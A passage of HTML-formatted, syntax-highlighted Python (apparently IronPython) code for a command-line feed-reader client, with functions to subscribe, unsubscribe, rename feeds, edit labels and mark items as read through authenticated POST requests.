color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpPostRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;add_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusCode&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;HttpStatusCode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;OK&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;%s
successfully added to subscription list&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#000000"&gt;url&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusDescription&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;Unsubscribe&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Unsubscribes
from the feed at the specified index in the feed list&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;unsubscribe_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;subscription/edit&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;ac=unsubscribe&amp;amp;i=null&amp;amp;T=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;GetToken&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;t=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;s=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpPostRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;unsubscribe_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusCode&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;HttpStatusCode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;OK&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;'%s'
successfully removed from subscription list&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusDescription&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;Rename&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;new_title&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Renames
the feed at the specified index in the feed list&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;api_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;subscription/edit&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;ac=edit&amp;amp;i=null&amp;amp;T=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;GetToken&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;t=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;new_title&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;s=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpPostRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;api_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusCode&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;HttpStatusCode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;OK&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;'%s'
successfully renamed to '%s'&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;new_title&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusDescription&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;EditLabel&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;label&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;editmode&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Adds
or removes the specified label to the feed at the specified index depending on the
edit mode&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;full_label&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;user/&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;/label/&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;label&lt;/font&gt; &lt;font color="#000000"&gt;label_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;subscription/edit&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;ac=edit&amp;amp;i=null&amp;amp;T=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;GetToken&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;t=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;s=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;editmode&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;add_label&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;a=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;full_label&lt;/font&gt; &lt;font color="#c00000"&gt;elif&lt;/font&gt; &lt;font color="#000000"&gt;editmode&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;remove_label&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;r=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;full_label&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpPostRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;label_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusCode&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#000000"&gt;HttpStatusCode&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;OK&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Successfully
edited label '%s' of feed '%s'&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;label&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#000000"&gt;resp&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;StatusDescription&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;MarkAllItemsAsRead&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Marks
all items from the selected feed as read&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;unixepoch&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;DateTime&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0080c0"&gt;1970&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;DateTimeKind&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Utc&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;markread_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;mark-all-as-read&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;s=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;T=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;GetToken&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;ts=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;str&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;int&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;DateTime&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Now&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt; &lt;font color="#000000"&gt;unixepoch&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;TotalSeconds&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpPostRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;markread_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;All
items in '%s' have been marked as read&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#000000"&gt;feed&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;GetFeedIndexFromUser&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;prompts
the user for the index of the feed they are interested in and returns the index as
the result of this function&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Enter
the numeric position of the feed from 1 - %s&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;len&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;index&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;int&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;stdin&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;readline&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;strip&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt; &lt;font color="#0000c0"&gt;&amp;lt;&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;index&lt;/font&gt; &lt;font color="#0000c0"&gt;&amp;gt;&lt;/font&gt; &lt;font color="#000000"&gt;len&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Invalid
index specified: %s&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#000000"&gt;feed2label_indx&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;index&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;__name__&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;__main__&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;len&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sys&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;argv&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;&amp;lt;&lt;/font&gt; &lt;font color="#0080c0"&gt;3&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;ERROR:
